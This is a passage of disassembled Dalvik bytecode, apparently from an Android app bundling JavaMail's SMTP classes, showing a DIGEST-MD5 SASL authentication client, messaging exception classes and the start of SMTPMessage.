0x66
.end array-data
.end method
.method public constructor <init>(PrintStream)V
.registers 3
00000000 invoke-direct Object-><init>()V, p0
00000006 iput-object p1, p0, DigestMD5->debugout:PrintStream
0000000A if-eqz p1, :18
:E
0000000E const-string v0, "DEBUG DIGEST-MD5: Loaded"
00000012 invoke-virtual PrintStream->println(String)V, p1, v0
:18
00000018 return-void
.end method
.method private static toHex([B)String
.registers 8
00000000 const/4 v0, 0x0
00000002 array-length v1, p0
00000004 mul-int/lit8 v1, v1, 0x2
00000008 new-array v2, v1, [C
0000000C move v1, v0
:E
0000000E array-length v3, p0
00000010 if-lt v1, v3, :20
:14
00000014 new-instance v0, String
00000018 invoke-direct String-><init>([C)V, v0, v2
0000001E return-object v0
:20
00000020 aget-byte v3, p0, v1
00000024 and-int/lit16 v3, v3, 0xFF
00000028 add-int/lit8 v4, v0, 0x1
0000002C sget-object v5, DigestMD5->digits:[C
00000030 shr-int/lit8 v6, v3, 0x4
00000034 aget-char v5, v5, v6
00000038 aput-char v5, v2, v0
0000003C add-int/lit8 v0, v4, 0x1
00000040 sget-object v5, DigestMD5->digits:[C
00000044 and-int/lit8 v3, v3, 0xF
00000048 aget-char v3, v5, v3
0000004C aput-char v3, v2, v4
00000050 add-int/lit8 v1, v1, 0x1
00000054 goto :E
.end method
.method private tokenize(String)Hashtable
.registers 13
00000000 const/4 v1, 0x0
00000002 const/16 v10, 0x39
00000006 const/16 v9, 0x30
0000000A new-instance v2, Hashtable
0000000E invoke-direct Hashtable-><init>()V, v2
00000014 invoke-virtual String->getBytes()[B, p1
0000001A move-result-object v0
0000001C new-instance v3, StreamTokenizer
00000020 new-instance v4, InputStreamReader
00000024 new-instance v5, BASE64DecoderStream
00000028 new-instance v6, ByteArrayInputStream
0000002C const/4 v7, 0x4
0000002E array-length v8, v0
00000030 add-int/lit8 v8, v8, 0xFFFFFFFFFFFFFFFC
00000034 invoke-direct ByteArrayInputStream-><init>([B, I, I)V, v6, v0, v7, v8
0000003A invoke-direct BASE64DecoderStream-><init>(InputStream)V, v5, v6
00000040 invoke-direct InputStreamReader-><init>(InputStream)V, v4, v5
00000046 invoke-direct StreamTokenizer-><init>(Reader)V, v3, v4
0000004C invoke-virtual StreamTokenizer->ordinaryChars(I, I)V, v3, v9, v10
00000052 invoke-virtual StreamTokenizer->wordChars(I, I)V, v3, v9, v10
00000058 move-object v0, v1
:5A
0000005A invoke-virtual StreamTokenizer->nextToken()I, v3
00000060 move-result v4
00000062 const/4 v5, 0xFFFFFFFFFFFFFFFF
00000064 if-ne v4, v5, :6A
:68
00000068 return-object v2
:6A
0000006A sparse-switch v4, :12C
:70
00000070 goto :5A
:72
00000072 if-nez v0, :7C
:76
00000076 iget-object v0, v3, StreamTokenizer->sval:String
0000007A goto :5A
:7C
0000007C iget-object v4, p0, DigestMD5->debugout:PrintStream
00000080 if-eqz v4, :D0
:84
00000084 iget-object v4, p0, DigestMD5->debugout:PrintStream
00000088 new-instance v5, StringBuilder
0000008C const-string v6, "DEBUG DIGEST-MD5: Received => "
00000090 invoke-direct StringBuilder-><init>(String)V, v5, v6
00000096 invoke-virtual StringBuilder->append(String)StringBuilder, v5, v0
0000009C move-result-object v5
0000009E const-string v6, "=\'"
000000A2 invoke-virtual StringBuilder->append(String)StringBuilder, v5, v6
000000A8 move-result-object v5
000000AA iget-object v6, v3, StreamTokenizer->sval:String
000000AE invoke-virtual StringBuilder->append(String)StringBuilder, v5, v6
000000B4 move-result-object v5
000000B6 const-string v6, "\'"
000000BA invoke-virtual StringBuilder->append(String)StringBuilder, v5, v6
000000C0 move-result-object v5
000000C2 invoke-virtual StringBuilder->toString()String, v5
000000C8 move-result-object v5
000000CA invoke-virtual PrintStream->println(String)V, v4, v5
:D0
000000D0 invoke-virtual Hashtable->containsKey(Object)Z, v2, v0
000000D6 move-result v4
000000D8 if-eqz v4, :120
:DC
000000DC new-instance v4, StringBuilder
000000E0 invoke-direct StringBuilder-><init>()V, v4
000000E6 invoke-virtual Hashtable->get(Object)Object, v2, v0
000000EC move-result-object v5
000000EE invoke-virtual StringBuilder->append(Object)StringBuilder, v4, v5
000000F4 move-result-object v4
000000F6 const-string v5, ","
000000FA invoke-virtual StringBuilder->append(String)StringBuilder, v4, v5
00000100 move-result-object v4
00000102 iget-object v5, v3, StreamTokenizer->sval:String
00000106 invoke-virtual StringBuilder->append(String)StringBuilder, v4, v5
0000010C move-result-object v4
0000010E invoke-virtual StringBuilder->toString()String, v4
00000114 move-result-object v4
00000116 invoke-virtual Hashtable->put(Object, Object)Object, v2, v0, v4
:11C
0000011C move-object v0, v1
0000011E goto :5A
:120
00000120 iget-object v4, v3, StreamTokenizer->sval:String
00000124 invoke-virtual Hashtable->put(Object, Object)Object, v2, v0, v4
0000012A goto :11C
0000012C .sparse-switch
0xFFFFFFFD -> :72
0x22 -> :7C
.end sparse-switch
.end method
.method public authClient(String, String, String, String, String)[B
.registers 18
00000000 new-instance v2, ByteArrayOutputStream
00000004 invoke-direct ByteArrayOutputStream-><init>()V, v2
0000000A new-instance v3, BASE64EncoderStream
0000000E const v1, 0x7FFFFFFF
00000014 invoke-direct BASE64EncoderStream-><init>(OutputStream, I)V, v3, v2, v1
:1A
0000001A new-instance v4, SecureRandom
0000001E invoke-direct SecureRandom-><init>()V, v4
00000024 const-string v1, "MD5"
00000028 invoke-static MessageDigest->getInstance(String)MessageDigest, v1
0000002E move-result-object v1
00000030 iput-object v1, p0, DigestMD5->md5:MessageDigest
:34
00000034 new-instance v5, StringBuffer
00000038 invoke-direct StringBuffer-><init>()V, v5
0000003E new-instance v1, StringBuilder
00000042 const-string v6, "smtp/"
00000046 invoke-direct StringBuilder-><init>(String)V, v1, v6
0000004C invoke-virtual StringBuilder->append(String)StringBuilder, v1, p1
00000052 move-result-object v1
00000054 invoke-virtual StringBuilder->toString()String, v1
0000005A move-result-object v1
0000005C iput-object v1, p0, DigestMD5->uri:String
00000060 const-string v6, "00000001"
00000064 const-string v7, "auth"
00000068 const/16 v1, 0x20
0000006C new-array v8, v1, [B
00000070 iget-object v1, p0, DigestMD5->debugout:PrintStream
00000074 if-eqz v1, :86
:78
00000078 iget-object v1, p0, DigestMD5->debugout:PrintStream
0000007C const-string v9, "DEBUG DIGEST-MD5: Begin authentication ..."
00000080 invoke-virtual PrintStream->println(String)V, v1, v9
:86
00000086 move-object/from16 v0, p5
0000008A invoke-direct DigestMD5->tokenize(String)Hashtable, p0, v0
00000090 move-result-object v9
00000092 if-nez p4, :4BA
:96
00000096 const-string v1, "realm"
0000009A invoke-virtual Hashtable->get(Object)Object, v9, v1
000000A0 move-result-object v1
000000A2 check-cast v1, String
000000A6 if-eqz v1, :C0
:AA
000000AA new-instance v10, StringTokenizer
000000AE const-string v11, ","
000000B2 invoke-direct StringTokenizer-><init>(String, String)V, v10, v1, v11
000000B8 invoke-virtual StringTokenizer->nextToken()String, v10
000000BE move-result-object p1
:C0
000000C0 const-string v1, "nonce"
000000C4 invoke-virtual Hashtable->get(Object)Object, v9, v1
000000CA move-result-object v1
000000CC check-cast v1, String
000000D0 invoke-virtual SecureRandom->nextBytes([B)V, v4, v8
000000D6 invoke-virtual OutputStream->write([B)V, v3, v8
000000DC invoke-virtual OutputStream->flush()V, v3
000000E2 invoke-virtual ByteArrayOutputStream->toString()String, v2
000000E8 move-result-object v4
000000EA invoke-virtual ByteArrayOutputStream->reset()V, v2
000000F0 iget-object v8, p0, DigestMD5->md5:MessageDigest
000000F4 iget-object v9, p0, DigestMD5->md5:MessageDigest
000000F8 new-instance v10, StringBuilder
000000FC invoke-static String->valueOf(Object)String, p2
00000102 move-result-object v11
00000104 invoke-direct StringBuilder-><init>(String)V, v10, v11
0000010A const-string v11, ":"
0000010E invoke-virtual StringBuilder->append(String)StringBuilder, v10, v11
00000114 move-result-object v10
00000116 invoke-virtual StringBuilder->append(String)StringBuilder, v10, p1
0000011C move-result-object v10
0000011E const-string v11, ":"
00000122 invoke-virtual StringBuilder->append(String)StringBuilder, v10, v11
00000128 move-result-object v10
0000012A invoke-virtual StringBuilder->append(String)StringBuilder, v10, p3
00000130 move-result-object v10
00000132 invoke-virtual StringBuilder->toString()String, v10
00000138 move-result-object v10
0000013A invoke-static ASCIIUtility->getBytes(String)[B, v10
00000140 move-result-object v10
00000142 invoke-virtual MessageDigest->digest([B)[B, v9, v10
00000148 move-result-object v9
0000014A invoke-virtual MessageDigest->update([B)V, v8, v9
00000150 iget-object v8, p0, DigestMD5->md5:MessageDigest
00000154 new-instance v9, StringBuilder
00000158 const-string v10, ":"
0000015C invoke-direct StringBuilder-><init>(String)V, v9, v10
00000162 invoke-virtual StringBuilder->append(String)StringBuilder, v9, v1
00000168 move-result-object v9
0000016A const-string v10, ":"
0000016E invoke-virtual StringBuilder->append(String)StringBuilder, v9, v10
00000174 move-result-object v9
00000176 invoke-virtual StringBuilder->append(String)StringBuilder, v9, v4
0000017C move-result-object v9
0000017E invoke-virtual StringBuilder->toString()String, v9
00000184 move-result-object v9
00000186 invoke-static ASCIIUtility->getBytes(String)[B, v9
0000018C move-result-object v9
0000018E invoke-virtual MessageDigest->update([B)V, v8, v9
00000194 new-instance v8, StringBuilder
00000198 iget-object v9, p0, DigestMD5->md5:MessageDigest
0000019C invoke-virtual MessageDigest->digest()[B, v9
000001A2 move-result-object v9
000001A4 invoke-static DigestMD5->toHex([B)String, v9
000001AA move-result-object v9
000001AC invoke-static String->valueOf(Object)String, v9
000001B2 move-result-object v9
000001B4 invoke-direct StringBuilder-><init>(String)V, v8, v9
000001BA const-string v9, ":"
000001BE invoke-virtual StringBuilder->append(String)StringBuilder, v8, v9
000001C4 move-result-object v8
000001C6 invoke-virtual StringBuilder->append(String)StringBuilder, v8, v1
000001CC move-result-object v8
000001CE const-string v9, ":"
000001D2 invoke-virtual StringBuilder->append(String)StringBuilder, v8, v9
000001D8 move-result-object v8
000001DA invoke-virtual StringBuilder->append(String)StringBuilder, v8, v6
000001E0 move-result-object v8
000001E2 const-string v9, ":"
000001E6 invoke-virtual StringBuilder->append(String)StringBuilder, v8, v9
000001EC move-result-object v8
000001EE invoke-virtual StringBuilder->append(String)StringBuilder, v8, v4
000001F4 move-result-object v8
000001F6 const-string v9, ":"
000001FA invoke-virtual StringBuilder->append(String)StringBuilder, v8, v9
00000200 move-result-object v8
00000202 invoke-virtual StringBuilder->append(String)StringBuilder, v8, v7
00000208 move-result-object v8
0000020A const-string v9, ":"
0000020E invoke-virtual StringBuilder->append(String)StringBuilder, v8, v9
00000214 move-result-object v8
00000216 invoke-virtual StringBuilder->toString()String, v8
0000021C move-result-object v8
0000021E iput-object v8, p0, DigestMD5->clientResponse:String
00000222 iget-object v8, p0, DigestMD5->md5:MessageDigest
00000226 new-instance v9, StringBuilder
0000022A const-string v10, "AUTHENTICATE:"
0000022E invoke-direct StringBuilder-><init>(String)V, v9, v10
00000234 iget-object v10, p0, DigestMD5->uri:String
00000238 invoke-virtual StringBuilder->append(String)StringBuilder, v9, v10
0000023E move-result-object v9
00000240 invoke-virtual StringBuilder->toString()String, v9
00000246 move-result-object v9
00000248 invoke-static ASCIIUtility->getBytes(String)[B, v9
0000024E move-result-object v9
00000250 invoke-virtual MessageDigest->update([B)V, v8, v9
00000256 iget-object v8, p0, DigestMD5->md5:MessageDigest
0000025A new-instance v9, StringBuilder
0000025E iget-object v10, p0, DigestMD5->clientResponse:String
00000262 invoke-static String->valueOf(Object)String, v10
00000268 move-result-object v10
0000026A invoke-direct StringBuilder-><init>(String)V, v9, v10
00000270 iget-object v10, p0, DigestMD5->md5:MessageDigest
00000274 invoke-virtual MessageDigest->digest()[B, v10
0000027A move-result-object v10
0000027C invoke-static DigestMD5->toHex([B)String, v10
00000282 move-result-object v10
00000284 invoke-virtual StringBuilder->append(String)StringBuilder, v9, v10
0000028A move-result-object v9
0000028C invoke-virtual StringBuilder->toString()String, v9
00000292 move-result-object v9
00000294 invoke-static ASCIIUtility->getBytes(String)[B, v9
0000029A move-result-object v9
0000029C invoke-virtual MessageDigest->update([B)V, v8, v9
000002A2 new-instance v8, StringBuilder
000002A6 const-string v9, "username=\""
000002AA invoke-direct StringBuilder-><init>(String)V, v8, v9
000002B0 invoke-virtual StringBuilder->append(String)StringBuilder, v8, p2
000002B6 move-result-object v8
000002B8 const-string v9, "\""
000002BC invoke-virtual StringBuilder->append(String)StringBuilder, v8, v9
000002C2 move-result-object v8
000002C4 invoke-virtual StringBuilder->toString()String, v8
000002CA move-result-object v8
000002CC invoke-virtual StringBuffer->append(String)StringBuffer, v5, v8
000002D2 new-instance v8, StringBuilder
000002D6 const-string v9, ",realm=\""
000002DA invoke-direct StringBuilder-><init>(String)V, v8, v9
000002E0 invoke-virtual StringBuilder->append(String)StringBuilder, v8, p1
000002E6 move-result-object v8
000002E8 const-string v9, "\""
000002EC invoke-virtual StringBuilder->append(String)StringBuilder, v8, v9
000002F2 move-result-object v8
000002F4 invoke-virtual StringBuilder->toString()String, v8
000002FA move-result-object v8
000002FC invoke-virtual StringBuffer->append(String)StringBuffer, v5, v8
00000302 new-instance v8, StringBuilder
00000306 const-string v9, ",qop="
0000030A invoke-direct StringBuilder-><init>(String)V, v8, v9
00000310 invoke-virtual StringBuilder->append(String)StringBuilder, v8, v7
00000316 move-result-object v7
00000318 invoke-virtual StringBuilder->toString()String, v7
0000031E move-result-object v7
00000320 invoke-virtual StringBuffer->append(String)StringBuffer, v5, v7
00000326 new-instance v7, StringBuilder
0000032A const-string v8, ",nc="
0000032E invoke-direct StringBuilder-><init>(String)V, v7, v8
00000334 invoke-virtual StringBuilder->append(String)StringBuilder, v7, v6
0000033A move-result-object v6
0000033C invoke-virtual StringBuilder->toString()String, v6
00000342 move-result-object v6
00000344 invoke-virtual StringBuffer->append(String)StringBuffer, v5, v6
0000034A new-instance v6, StringBuilder
0000034E const-string v7, ",nonce=\""
00000352 invoke-direct StringBuilder-><init>(String)V, v6, v7
00000358 invoke-virtual StringBuilder->append(String)StringBuilder, v6, v1
0000035E move-result-object v1
00000360 const-string v6, "\""
00000364 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v6
0000036A move-result-object v1
0000036C invoke-virtual StringBuilder->toString()String, v1
00000372 move-result-object v1
00000374 invoke-virtual StringBuffer->append(String)StringBuffer, v5, v1
0000037A new-instance v1, StringBuilder
0000037E const-string v6, ",cnonce=\""
00000382 invoke-direct StringBuilder-><init>(String)V, v1, v6
00000388 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v4
0000038E move-result-object v1
00000390 const-string v4, "\""
00000394 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v4
0000039A move-result-object v1
0000039C invoke-virtual StringBuilder->toString()String, v1
000003A2 move-result-object v1
000003A4 invoke-virtual StringBuffer->append(String)StringBuffer, v5, v1
000003AA new-instance v1, StringBuilder
000003AE const-string v4, ",digest-uri=\""
000003B2 invoke-direct StringBuilder-><init>(String)V, v1, v4
000003B8 iget-object v4, p0, DigestMD5->uri:String
000003BC invoke-virtual StringBuilder->append(String)StringBuilder, v1, v4
000003C2 move-result-object v1
000003C4 const-string v4, "\""
000003C8 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v4
000003CE move-result-object v1
000003D0 invoke-virtual StringBuilder->toString()String, v1
000003D6 move-result-object v1
000003D8 invoke-virtual StringBuffer->append(String)StringBuffer, v5, v1
000003DE new-instance v1, StringBuilder
000003E2 const-string v4, ",response="
000003E6 invoke-direct StringBuilder-><init>(String)V, v1, v4
000003EC iget-object v4, p0, DigestMD5->md5:MessageDigest
000003F0 invoke-virtual MessageDigest->digest()[B, v4
000003F6 move-result-object v4
000003F8 invoke-static DigestMD5->toHex([B)String, v4
000003FE move-result-object v4
00000400 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v4
00000406 move-result-object v1
00000408 invoke-virtual StringBuilder->toString()String, v1
0000040E move-result-object v1
00000410 invoke-virtual StringBuffer->append(String)StringBuffer, v5, v1
00000416 iget-object v1, p0, DigestMD5->debugout:PrintStream
0000041A if-eqz v1, :44E
:41E
0000041E iget-object v1, p0, DigestMD5->debugout:PrintStream
00000422 new-instance v4, StringBuilder
00000426 const-string v6, "DEBUG DIGEST-MD5: Response => "
0000042A invoke-direct StringBuilder-><init>(String)V, v4, v6
00000430 invoke-virtual StringBuffer->toString()String, v5
00000436 move-result-object v6
00000438 invoke-virtual StringBuilder->append(String)StringBuilder, v4, v6
0000043E move-result-object v4
00000440 invoke-virtual StringBuilder->toString()String, v4
00000446 move-result-object v4
00000448 invoke-virtual PrintStream->println(String)V, v1, v4
:44E
0000044E invoke-virtual StringBuffer->toString()String, v5
00000454 move-result-object v1
00000456 invoke-static ASCIIUtility->getBytes(String)[B, v1
0000045C move-result-object v1
0000045E invoke-virtual OutputStream->write([B)V, v3, v1
00000464 invoke-virtual OutputStream->flush()V, v3
0000046A invoke-virtual ByteArrayOutputStream->toByteArray()[B, v2
00000470 move-result-object v1
00000472 return-object v1
:474
00000474 move-exception v1
00000476 iget-object v2, p0, DigestMD5->debugout:PrintStream
0000047A if-eqz v2, :4A6
:47E
0000047E iget-object v2, p0, DigestMD5->debugout:PrintStream
00000482 new-instance v3, StringBuilder
00000486 const-string v4, "DEBUG DIGEST-MD5: "
0000048A invoke-direct StringBuilder-><init>(String)V, v3, v4
00000490 invoke-virtual StringBuilder->append(Object)StringBuilder, v3, v1
00000496 move-result-object v3
00000498 invoke-virtual StringBuilder->toString()String, v3
0000049E move-result-object v3
000004A0 invoke-virtual PrintStream->println(String)V, v2, v3
:4A6
000004A6 new-instance v2, IOException
000004AA invoke-virtual NoSuchAlgorithmException->toString()String, v1
000004B0 move-result-object v1
000004B2 invoke-direct IOException-><init>(String)V, v2, v1
000004B8 throw v2
:4BA
000004BA move-object/from16 p1, p4
000004BE goto/16 :C0
.catch NoSuchAlgorithmException {:1A .. :34} :474
.end method
.method public authServer(String)Z
.registers 6
00000000 invoke-direct DigestMD5->tokenize(String)Hashtable, p0, p1
00000006 move-result-object v0
00000008 iget-object v1, p0, DigestMD5->md5:MessageDigest
0000000C new-instance v2, StringBuilder
00000010 const-string v3, ":"
00000014 invoke-direct StringBuilder-><init>(String)V, v2, v3
0000001A iget-object v3, p0, DigestMD5->uri:String
0000001E invoke-virtual StringBuilder->append(String)StringBuilder, v2, v3
00000024 move-result-object v2
00000026 invoke-virtual StringBuilder->toString()String, v2
0000002C move-result-object v2
0000002E invoke-static ASCIIUtility->getBytes(String)[B, v2
00000034 move-result-object v2
00000036 invoke-virtual MessageDigest->update([B)V, v1, v2
0000003C iget-object v1, p0, DigestMD5->md5:MessageDigest
00000040 new-instance v2, StringBuilder
00000044 iget-object v3, p0, DigestMD5->clientResponse:String
00000048 invoke-static String->valueOf(Object)String, v3
0000004E move-result-object v3
00000050 invoke-direct StringBuilder-><init>(String)V, v2, v3
00000056 iget-object v3, p0, DigestMD5->md5:MessageDigest
0000005A invoke-virtual MessageDigest->digest()[B, v3
00000060 move-result-object v3
00000062 invoke-static DigestMD5->toHex([B)String, v3
00000068 move-result-object v3
0000006A invoke-virtual StringBuilder->append(String)StringBuilder, v2, v3
00000070 move-result-object v2
00000072 invoke-virtual StringBuilder->toString()String, v2
00000078 move-result-object v2
0000007A invoke-static ASCIIUtility->getBytes(String)[B, v2
00000080 move-result-object v2
00000082 invoke-virtual MessageDigest->update([B)V, v1, v2
00000088 iget-object v1, p0, DigestMD5->md5:MessageDigest
0000008C invoke-virtual MessageDigest->digest()[B, v1
00000092 move-result-object v1
00000094 invoke-static DigestMD5->toHex([B)String, v1
0000009A move-result-object v1
0000009C const-string v2, "rspauth"
000000A0 invoke-virtual Hashtable->get(Object)Object, v0, v2
000000A6 move-result-object v0
000000A8 check-cast v0, String
000000AC invoke-virtual String->equals(Object)Z, v1, v0
000000B2 move-result v0
000000B4 if-nez v0, :EC
:B8
000000B8 iget-object v0, p0, DigestMD5->debugout:PrintStream
000000BC if-eqz v0, :E8
:C0
000000C0 iget-object v0, p0, DigestMD5->debugout:PrintStream
000000C4 new-instance v2, StringBuilder
000000C8 const-string v3, "DEBUG DIGEST-MD5: Expected => rspauth="
000000CC invoke-direct StringBuilder-><init>(String)V, v2, v3
000000D2 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v1
000000D8 move-result-object v1
000000DA invoke-virtual StringBuilder->toString()String, v1
000000E0 move-result-object v1
000000E2 invoke-virtual PrintStream->println(String)V, v0, v1
:E8
000000E8 const/4 v0, 0x0
:EA
000000EA return v0
:EC
000000EC const/4 v0, 0x1
000000EE goto :EA
.end method
#--------------------------------------------------------------------------------
.class public MessagingException
.super Exception
.source ""
.field private static final serialVersionUID:J = 0x96F4D3B738A7E02BL
.field private next:Exception
.method public constructor <init>()V
.registers 2
00000000 invoke-direct Exception-><init>()V, p0
00000006 const/4 v0, 0x0
00000008 invoke-virtual MessagingException->initCause(Throwable)Throwable, p0, v0
0000000E return-void
.end method
.method public constructor <init>(String)V
.registers 3
00000000 invoke-direct Exception-><init>(String)V, p0, p1
00000006 const/4 v0, 0x0
00000008 invoke-virtual MessagingException->initCause(Throwable)Throwable, p0, v0
0000000E return-void
.end method
.method public constructor <init>(String, Exception)V
.registers 4
00000000 invoke-direct Exception-><init>(String)V, p0, p1
00000006 iput-object p2, p0, MessagingException->next:Exception
0000000A const/4 v0, 0x0
0000000C invoke-virtual MessagingException->initCause(Throwable)Throwable, p0, v0
00000012 return-void
.end method
.method private final superToString()String
.registers 2
00000000 invoke-super Exception->toString()String, p0
00000006 move-result-object v0
00000008 return-object v0
.end method
.method public declared-synchronized getCause()Throwable
.registers 2
00000000 monitor-enter p0
:2
00000002 iget-object v0, p0, MessagingException->next:Exception
:6
00000006 monitor-exit p0
00000008 return-object v0
:A
0000000A move-exception v0
0000000C monitor-exit p0
0000000E throw v0
.catchall {:2 .. :6} :A
.end method
.method public declared-synchronized getNextException()Exception
.registers 2
00000000 monitor-enter p0
:2
00000002 iget-object v0, p0, MessagingException->next:Exception
:6
00000006 monitor-exit p0
00000008 return-object v0
:A
0000000A move-exception v0
0000000C monitor-exit p0
0000000E throw v0
.catchall {:2 .. :6} :A
.end method
.method public declared-synchronized setNextException(Exception)Z
.registers 5
00000000 monitor-enter p0
00000002 move-object v2, p0
:4
00000004 instance-of v1, v2, MessagingException
00000008 if-eqz v1, :1C
:C
0000000C move-object v0, v2
0000000E check-cast v0, MessagingException
00000012 move-object v1, v0
00000014 iget-object v1, v1, MessagingException->next:Exception
00000018 if-nez v1, :32
:1C
0000001C instance-of v1, v2, MessagingException
00000020 if-eqz v1, :3C
:24
00000024 check-cast v2, MessagingException
00000028 iput-object p1, v2, MessagingException->next:Exception
:2C
0000002C const/4 v1, 0x1
:2E
0000002E monitor-exit p0
00000030 return v1
:32
00000032 check-cast v2, MessagingException
00000036 iget-object v2, v2, MessagingException->next:Exception
:3A
0000003A goto :4
:3C
0000003C const/4 v1, 0x0
0000003E goto :2E
:40
00000040 move-exception v1
00000042 monitor-exit p0
00000044 throw v1
.catchall {:4 .. :2C} :40
.catchall {:32 .. :3A} :40
.end method
.method public declared-synchronized toString()String
.registers 4
00000000 monitor-enter p0
:2
00000002 invoke-super Exception->toString()String, p0
00000008 move-result-object v0
0000000A iget-object v1, p0, MessagingException->next:Exception
:E
0000000E if-nez v1, :16
:12
00000012 monitor-exit p0
00000014 return-object v0
:16
00000016 new-instance v2, StringBuffer
0000001A if-nez v0, :22
:1E
0000001E const-string v0, ""
:22
00000022 invoke-direct StringBuffer-><init>(String)V, v2, v0
00000028 move-object v0, v1
:2A
0000002A if-nez v0, :38
:2E
0000002E invoke-virtual StringBuffer->toString()String, v2
00000034 move-result-object v0
00000036 goto :12
:38
00000038 const-string v1, ";\n nested exception is:\n\t"
0000003C invoke-virtual StringBuffer->append(String)StringBuffer, v2, v1
00000042 instance-of v1, v0, MessagingException
00000046 if-eqz v1, :62
:4A
0000004A check-cast v0, MessagingException
0000004E invoke-direct MessagingException->superToString()String, v0
00000054 move-result-object v1
00000056 invoke-virtual StringBuffer->append(String)StringBuffer, v2, v1
0000005C iget-object v0, v0, MessagingException->next:Exception
00000060 goto :2A
:62
00000062 invoke-virtual Exception->toString()String, v0
00000068 move-result-object v0
0000006A invoke-virtual StringBuffer->append(String)StringBuffer, v2, v0
:70
00000070 const/4 v0, 0x0
00000072 goto :2A
:74
00000074 move-exception v0
00000076 monitor-exit p0
00000078 throw v0
.catchall {:2 .. :E} :74
.catchall {:16 .. :70} :74
.end method
#--------------------------------------------------------------------------------
.class public SendFailedException
.super MessagingException
.source ""
.field private static final serialVersionUID:J = 0xA6623D341BC51ECFL
.field protected transient varargs invalid:[Address
.field protected transient varargs validSent:[Address
.field protected transient varargs validUnsent:[Address
.method public constructor <init>()V
.registers 1
00000000 invoke-direct MessagingException-><init>()V, p0
00000006 return-void
.end method
.method public constructor <init>(String)V
.registers 2
00000000 invoke-direct MessagingException-><init>(String)V, p0, p1
00000006 return-void
.end method
.method public constructor <init>(String, Exception)V
.registers 3
00000000 invoke-direct MessagingException-><init>(String, Exception)V, p0, p1, p2
00000006 return-void
.end method
.method public constructor <init>(String, Exception, [Address, [Address, [Address)V
.registers 6
00000000 invoke-direct MessagingException-><init>(String, Exception)V, p0, p1, p2
00000006 iput-object p3, p0, SendFailedException->validSent:[Address
0000000A iput-object p4, p0, SendFailedException->validUnsent:[Address
0000000E iput-object p5, p0, SendFailedException->invalid:[Address
00000012 return-void
.end method
.method public getInvalidAddresses()[Address
.registers 2
00000000 iget-object v0, p0, SendFailedException->invalid:[Address
00000004 return-object v0
.end method
.method public getValidSentAddresses()[Address
.registers 2
00000000 iget-object v0, p0, SendFailedException->validSent:[Address
00000004 return-object v0
.end method
.method public getValidUnsentAddresses()[Address
.registers 2
00000000 iget-object v0, p0, SendFailedException->validUnsent:[Address
00000004 return-object v0
.end method
#--------------------------------------------------------------------------------
.class public SMTPAddressFailedException
.super SendFailedException
.source ""
.field private static final serialVersionUID:J = 0xB2B55B6465C5351L
.field protected addr:InternetAddress
.field protected cmd:String
.field protected rc:I
.method public constructor <init>(InternetAddress, String, I, String)V
.registers 5
00000000 invoke-direct SendFailedException-><init>(String)V, p0, p4
00000006 iput-object p1, p0, SMTPAddressFailedException->addr:InternetAddress
0000000A iput-object p2, p0, SMTPAddressFailedException->cmd:String
0000000E iput p3, p0, SMTPAddressFailedException->rc:I
00000012 return-void
.end method
.method public getAddress()InternetAddress
.registers 2
00000000 iget-object v0, p0, SMTPAddressFailedException->addr:InternetAddress
00000004 return-object v0
.end method
.method public getCommand()String
.registers 2
00000000 iget-object v0, p0, SMTPAddressFailedException->cmd:String
00000004 return-object v0
.end method
.method public getReturnCode()I
.registers 2
00000000 iget v0, p0, SMTPAddressFailedException->rc:I
00000004 return v0
.end method
#--------------------------------------------------------------------------------
.class public SMTPAddressSucceededException
.super MessagingException
.source ""
.field private static final serialVersionUID:J = 0xEFC93CBC5C773C53L
.field protected addr:InternetAddress
.field protected cmd:String
.field protected rc:I
.method public constructor <init>(InternetAddress, String, I, String)V
.registers 5
00000000 invoke-direct MessagingException-><init>(String)V, p0, p4
00000006 iput-object p1, p0, SMTPAddressSucceededException->addr:InternetAddress
0000000A iput-object p2, p0, SMTPAddressSucceededException->cmd:String
0000000E iput p3, p0, SMTPAddressSucceededException->rc:I
00000012 return-void
.end method
.method public getAddress()InternetAddress
.registers 2
00000000 iget-object v0, p0, SMTPAddressSucceededException->addr:InternetAddress
00000004 return-object v0
.end method
.method public getCommand()String
.registers 2
00000000 iget-object v0, p0, SMTPAddressSucceededException->cmd:String
00000004 return-object v0
.end method
.method public getReturnCode()I
.registers 2
00000000 iget v0, p0, SMTPAddressSucceededException->rc:I
00000004 return v0
.end method
#--------------------------------------------------------------------------------
.class public SMTPMessage
.super MimeMessage
.source ""
.field public static final NOTIFY_DELAY:I = 0x4
.field public static final NOTIFY_FAILURE:I = 0x2
.field public static final NOTIFY_NEVER:I = 0xFFFFFFFF
.field public static final NOTIFY_SUCCESS:I = 0x1
.field public static final RETURN_FULL:I = 0x1
.field public static final RETURN_HDRS:I = 0x2
.field private static final returnOptionString:[String
.field private allow8bitMIME:Z
.field private envelopeFrom:String
.field private extension:String
.field private notifyOptions:I
.field private returnOption:I
.field private sendPartial:Z
.field private submitter:String
.method static constructor <clinit>()V
.registers 3
00000000 const/4 v0, 0x3
00000002 new-array v0, v0, [String
00000006 const/4 v1, 0x1
00000008 const-string v2, "FULL"
0000000C aput-object v2, v0, v1
00000010 const/4 v1, 0x2
00000012 const-string v2, "HDRS"
00000016 aput-object v2, v0, v1
0000001A sput-object v0, SMTPMessage->returnOptionString:[String
0000001E return-void
.end method
.method public constructor <init>(Session)V
.registers 4
00000000 const/4 v1, 0x0
00000002 const/4 v0, 0x0
00000004 invoke-direct MimeMessage-><init>(Session)V, p0, p1
0000000A iput v0, p0, SMTPMessage->notifyOptions:I
0000000E iput v0, p0, SMTPMessage->returnOption:I
00000012 iput-boolean v0, p0, SMTPMessage->sendPartial:Z
00000016 iput-boolean v0, p0, SMTPMessage->allow8bitMIME:Z
0000001A iput-object v1, p0, SMTPMessage->submitter:String
0000001E iput-object v1, p0, SMTPMessage->extension:String
00000022 return-void
.end method
.method public constructor <init>(Session, InputStream)V
.registers 5
00000000 const/4 v1, 0x0
00000002 const/4 v0, 0x0
00000004 invoke-direct MimeMessage-><init>(Session, InputStream)V, p0, p1, p2
0000000A iput v0, p0, SMTPMessage->notifyOptions:I
0000000E iput v0, p0, SMTPMessage->returnOption:I
00000012 iput-boolean v0, p0, SMTPMessage->sendPartial:Z
00000016 iput-boolean v0, p0, SMTPMessage->allow8bitMIME:Z
0000001A iput-object v1, p0, SMTPMessage->submitter:String
